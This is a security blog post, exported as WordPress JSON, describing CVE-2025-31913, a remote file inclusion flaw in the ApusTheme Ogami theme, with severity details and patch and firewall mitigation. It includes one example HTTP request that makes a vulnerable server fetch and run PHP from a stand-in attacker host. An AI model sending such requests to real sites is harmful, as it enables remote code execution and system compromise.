{"id":48255,"date":"2025-06-02T17:55:46","date_gmt":"2025-06-02T17:55:46","guid":{"rendered":""},"modified":"2025-08-31T21:18:43","modified_gmt":"2025-09-01T03:18:43","slug":"cve-2025-31913-high-severity-php-remote-file-inclusion-vulnerability-in-apustheme-ogami","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31913-high-severity-php-remote-file-inclusion-vulnerability-in-apustheme-ogami\/","title":{"rendered":"<strong>CVE-2025-31913: High Severity PHP Remote File Inclusion Vulnerability in ApusTheme Ogami<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In today&#8217;s increasingly digital world, cybersecurity vulnerabilities represent a significant threat to businesses and other organizations. One such vulnerability, identified as CVE-2025-31913, affects ApusTheme Ogami, a popular theme for websites. This vulnerability involves an improper control of the filename for Include\/Require statement in PHP programs, leading to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55206\">PHP Remote File Inclusion<\/a> (RFI) vulnerability. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32292-severe-deserialization-of-untrusted-data-vulnerability-in-ancorathemes-jarvis-wordpress\/\"  data-wpil-monitor-id=\"54055\">vulnerability can potentially compromise the system or lead to data<\/a> leakage, making it a significant concern for all users of ApusTheme Ogami.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31913<br \/>\nSeverity: High &#8211; CVSS Score 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32309-potential-system-compromise-due-to-remote-file-inclusion-in-php-program\/\"  data-wpil-monitor-id=\"56218\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1449833813\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ApusTheme Ogami | up to and including 1.53<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46468-high-severity-php-local-file-inclusion-vulnerability-in-wpfable-fable-extra\/\"  data-wpil-monitor-id=\"54083\">PHP Remote File Inclusion vulnerability<\/a> stems from improper control of the filename for Include\/Require statement in PHP programs. In essence, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47637-critical-unrestricted-file-upload-vulnerability-in-staggs\/\"  data-wpil-monitor-id=\"54169\">vulnerability allows an attacker to include a remote file<\/a> from a server of their choosing. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54330\">remote file can contain malicious PHP code<\/a>, which when executed, can lead to serious consequences such as system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1299209032\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Given below is a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"77059\">vulnerability might be exploited<\/a>. This example assumes the attacker has crafted a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27010-path-traversal-vulnerability-in-bslthemes-tastyc-leading-to-php-local-file-inclusion\/\"  data-wpil-monitor-id=\"55812\">PHP file<\/a>, hosted on a remote server, which is designed to exploit the system upon execution.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/malicious.example.com\/malicious_file.php HTTP\/1.1\nHost: vulnerable.example.com<\/code><\/pre>\n<p>In this example, the attacker is using the `GET` method to request the `index.php` <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77262\">file<\/a> from the target server. The `file` parameter value is a URL pointing to the attacker&#8217;s malicious PHP file. If the server is vulnerable, it will include and execute the malicious file <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39495-high-critical-vulnerability-in-boldthemes-avantage-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"54193\">leading to a potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5485-a-critical-vulnerability-pertaining-to-user-name-enumeration-in-web-management-interfaces\/\"  data-wpil-monitor-id=\"77058\">users can use a Web<\/a> Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77057\">detect and prevent attempts to exploit this vulnerability<\/a>, provided they are properly configured to do so.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In today&#8217;s increasingly digital world, cybersecurity vulnerabilities represent a significant threat to businesses and other organizations. One such vulnerability, identified as CVE-2025-31913, affects ApusTheme Ogami, a popular theme for websites. This vulnerability involves an improper control of the filename for Include\/Require statement in PHP programs, leading to a PHP Remote File Inclusion (RFI) vulnerability. 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